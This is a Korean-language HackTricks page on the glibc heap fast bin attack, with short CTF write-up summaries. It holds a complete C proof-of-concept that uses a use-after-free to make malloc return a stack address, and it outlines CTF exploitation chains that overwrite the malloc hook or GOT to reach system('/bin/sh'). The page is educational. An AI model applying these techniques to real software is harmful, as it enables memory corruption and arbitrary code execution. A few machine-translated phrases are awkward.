hacktricks/binary-exploitation/libc-heap/fast-bin-attack.md

12 KiB

Fast Bin Attack

{% hint style="success" %} AWS 해킹을 배우고 실습하세요: HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹을 배우고 실습하세요: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}

기본 정보

빠른 바인에 대한 자세한 정보는 다음 페이지를 확인하세요:

{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}

빠른 바인은 단일 링크드 리스트이기 때문에 다른 바인보다 보호 기능이 훨씬 적습니다. 그리고 해제된 빠른 바인 청크의 주소를 수정하는 것만으로도 이후에 임의의 메모리 주소에 청크를 할당할 수 있습니다.

요약하면:

{% code overflow="wrap" %}

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

{% endcode %}

당신은 https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html에서 매우 잘 설명된 코드의 완전한 예제를 찾을 수 있습니다:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

{% hint style="danger" %} 만약 글로벌 변수 **global_max_fast**의 값을 큰 숫자로 덮어쓸 수 있다면, 더 큰 크기의 fast bin 청크를 생성할 수 있어 이전에는 불가능했던 시나리오에서 fast bin 공격을 수행할 수 있게 됩니다. 이 상황은 large bin attackunsorted bin attack의 맥락에서 유용합니다. {% endhint %}

예시

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • 청크를 할당하고 해제하며, 그 내용을 읽고 채울 수 있습니다 (오버플로우 취약점을 이용).
  • Infoleak을 위한 청크 통합: 오버플로우를 악용하여 가짜 prev_size를 생성하여 이전 청크를 더 큰 청크 안에 넣어주는 기술로, 더 큰 청크를 할당할 때 다른 청크를 포함한 더 큰 청크를 할당할 수 있어 libc(main_arena+88) 주소를 노출시키고 릭할 수 있습니다.
  • malloc 후크 덮어쓰기: 이를 위해 이전에 겹치는 상황을 악용하여 메모리를 가리키는 2개의 청크를 가질 수 있었습니다. 따라서 두 청크를 모두 해제하면 (보호 기능을 피하기 위해 중간에 다른 청크를 해제), 같은 청크를 fast bin에 2번 넣을 수 있었습니다. 그런 다음, 다시 할당하여 다음 청크를 __malloc_hook 바로 앞을 가리키도록 덮어쓰고 (malloc이 무료 크기로 인식하는 정수를 가리키도록 하여 또 다른 우회), 다시 할당하고 malloc 후크 주소를 받을 다른 청크를 할당할 수 있었습니다.
    마지막으로 거기에 원 가젯을 작성했습니다.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • 힙 오버플로우 및 사용 후 무료 및 이중 해제가 있습니다. 청크가 해제되면 포인터를 재사용하고 다시 해제할 수 있습니다.
  • Libc 정보 릭: 일부 청크를 해제하면 메인 아레나 위치의 일부를 가리키는 포인터를 얻을 수 있습니다. 해제된 포인터를 재사용할 수 있으므로 이 주소를 읽을 수 있습니다.
  • Fast bin 공격: 할당된 모든 포인터는 배열 안에 저장되므로 몇 개의 fast bin 청크를 해제하고 마지막 청크에서 이 포인터 배열의 바로 앞을 가리키도록 주소를 덮어쓸 수 있습니다. 그런 다음, 동일한 크기의 몇 개의 청크를 할당하면 먼저 정품 청크를 얻은 다음 포인터 배열을 포함한 가짜 청크를 얻을 수 있습니다. 이제 할당된 포인터를 덮어쓰기하여 free의 GOT 주소를 system으로 가리키도록 설정하고 청크 1에 "/bin/sh"를 쓴 다음 free(chunk1)을 호출하여 실제로 system("/bin/sh")를 실행할 수 있습니다.
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • unsorted bin에서 한 바이트 오버플로우를 악용하여 청크를 통합하고 libc 정보 릭을 얻은 다음 fast bin 공격을 수행하여 malloc 후크를 원 가젯 주소로 덮어쓸 수 있는 예시
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • unsorted bin을 악용한 정보 릭 후 UAF를 통해 libc 주소와 PIE 주소를 릭한 후, 이 CTF의 exploit은 fast bin 공격을 사용하여 제어된 청크의 포인터가 위치한 곳에 청크를 할당하여 특정 포인터를 덮어쓰고 GOT에 원 가젯을 작성할 수 있었습니다.
  • unsorted bin 공격을 통해 fast bin 공격을 악용한 예시를 찾을 수 있습니다:
  • fast bin 공격을 수행하기 전에 필요할 때 libc/힙 주소를 릭하기 위해 free-lists를 악용하는 것이 일반적입니다.
  • Robot Factory. BlackHat MEA CTF 2022
  • 크기가 0x100보다 큰 청크만 할당할 수 있습니다.
  • ASLR로 인해 작동 비율이 1/16인 Unsorted Bin 공격을 사용하여 global_max_fast를 덮어쓰기(12비트를 수정해야 하지만 16비트를 수정해야 함) 가능합니다.
  • 글로벌 청크 배열을 수정하기 위한 Fast Bin 공격. 이를 통해 임의의 읽기/쓰기 기본 기능을 얻을 수 있어 GOT를 수정하고 일부 함수를 system으로 가리키도록 설정할 수 있습니다.

{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}

{% hint style="success" %} AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원
{% endhint %}